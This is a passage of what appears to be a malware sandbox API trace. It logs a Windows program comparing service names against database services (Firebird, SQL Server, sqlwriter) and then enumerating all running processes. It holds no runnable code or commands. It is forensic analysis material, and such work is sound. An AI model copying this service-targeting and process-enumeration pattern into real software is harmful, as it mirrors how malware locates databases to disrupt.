(lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.119] lstrlenW (lpString="Power") returned 5 [0165.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.119] lstrlenW (lpString="ProfSvc") returned 7 [0165.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.119] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.119] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.120] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.120] lstrlenW (lpString="RpcSs") returned 5 [0165.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.120] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.120] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.120] lstrlenW (lpString="SamSs") returned 5 [0165.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.120] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.120] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.121] lstrlenW (lpString="Schedule") returned 8 [0165.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.121] lstrlenW (lpString="SecurityHealthService") returned 21 [0165.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0165.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0165.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0165.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0165.121] lstrlenW (lpString="SENS") returned 4 [0165.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.121] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.121] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.121] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.121] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.121] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.121] lstrlenW (lpString="Spooler") returned 7 [0165.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.122] lstrlenW (lpString="SSDPSRV") returned 7 [0165.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0165.122] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0165.122] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0165.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0165.122] lstrlenW (lpString="StateRepository") returned 15 [0165.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0165.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0165.123] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0165.123] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0165.123] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0165.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0165.127] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.128] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.129] lstrlenW (lpString="System") returned 6 [0165.129] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.129] lstrlenW (lpString="smss.exe") returned 8 [0165.129] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.130] lstrlenW (lpString="csrss.exe") returned 9 [0165.130] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.131] lstrlenW (lpString="wininit.exe") returned 11 [0165.131] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.133] lstrlenW (lpString="csrss.exe") returned 9 [0165.134] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.134] lstrlenW (lpString="winlogon.exe") returned 12 [0165.134] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.135] lstrlenW (lpString="services.exe") returned 12 [0165.135] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.136] lstrlenW (lpString="lsass.exe") returned 9 [0165.136] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.137] lstrlenW (lpString="svchost.exe") returned 11 [0165.137] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.138] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.138] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0165.139] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0165.139] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.140] lstrlenW (lpString="svchost.exe") returned 11 [0165.140] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.141] lstrlenW (lpString="dwm.exe") returned 7 [0165.141] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.142] lstrlenW (lpString="svchost.exe") returned 11 [0165.142] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.143] lstrlenW (lpString="svchost.exe") returned 11 [0165.143] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.144] lstrlenW (lpString="svchost.exe") returned 11 [0165.144] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.145] lstrlenW (lpString="svchost.exe") returned 11 [0165.145] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.146] lstrlenW (lpString="svchost.exe") returned 11 [0165.146] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.147] lstrlenW (lpString="svchost.exe") returned 11 [0165.147] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.148] lstrlenW (lpString="svchost.exe") returned 11 [0165.148] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.148] lstrlenW (lpString="svchost.exe") returned 11 [0165.148] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.149] lstrlenW (lpString="svchost.exe") returned 11 [0165.149] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.150] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.150] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.151] lstrlenW (lpString="svchost.exe") returned 11 [0165.151] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.151] lstrlenW (lpString="svchost.exe") returned 11 [0165.151] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.152] lstrlenW (lpString="audiodg.exe") returned 11 [0165.152] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0165.153] lstrlenW (lpString="sihost.exe") returned 10 [0165.153] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.153] lstrlenW (lpString="svchost.exe") returned 11 [0165.158] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.159] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.159] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0165.159] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0165.159] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0165.160] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0165.160] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.161] lstrlenW (lpString="explorer.exe") returned 12 [0165.161] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0165.161] lstrlenW (lpString="Memory Compression") returned 18 [0165.161] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0165.162] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0165.162] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0165.163] lstrlenW (lpString="SearchUI.exe") returned 12 [0165.163] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0165.163] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0165.164] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0165.164] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0165.164] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0165.165] lstrlenW (lpString="taskhostw.exe") returned 13 [0165.165] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0165.166] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0165.166] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0165.166] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0165.166] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0165.169] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0165.169] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0165.170] lstrlenW (lpString="conhost.exe") returned 11 [0165.170] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0165.170] lstrlenW (lpString="screensaver.exe") returned 15 [0165.171] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0165.171] lstrlenW (lpString="upperarc.exe") returned 12 [0165.171] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0165.172] lstrlenW (lpString="buying.exe") returned 10 [0165.172] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0165.173] lstrlenW (lpString="downloadable.exe") returned 16 [0165.173] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0165.173] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0165.173] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0165.175] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0165.175] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0165.176] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0165.176] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0165.176] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0165.176] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0165.177] lstrlenW (lpString="moments.exe") returned 11 [0165.177] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0165.178] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0165.178] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0165.178] lstrlenW (lpString="stream-test.exe") returned 15 [0165.179] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0165.179] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0165.179] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 